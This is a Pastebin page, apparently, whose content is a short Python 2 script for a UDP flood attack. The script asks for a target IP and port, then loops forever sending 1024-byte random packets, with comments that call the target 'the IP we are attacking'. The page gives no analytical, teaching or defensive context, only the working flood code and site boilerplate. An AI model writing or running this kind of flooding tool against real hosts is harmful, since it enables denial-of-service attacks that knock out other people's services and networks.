Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import random
- sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket
- bytes=random._urandom(1024) #Creates packet
- ip=raw_input('Target IP: ') #The IP we are attacking
- port=input('Port: ') #Port we direct to attack
- sent = 1
- while 1: #Infinitely loops sending packets to the port until the program is exited.
- sock.sendto(bytes,(ip,port))
- print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
- sent= sent + 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement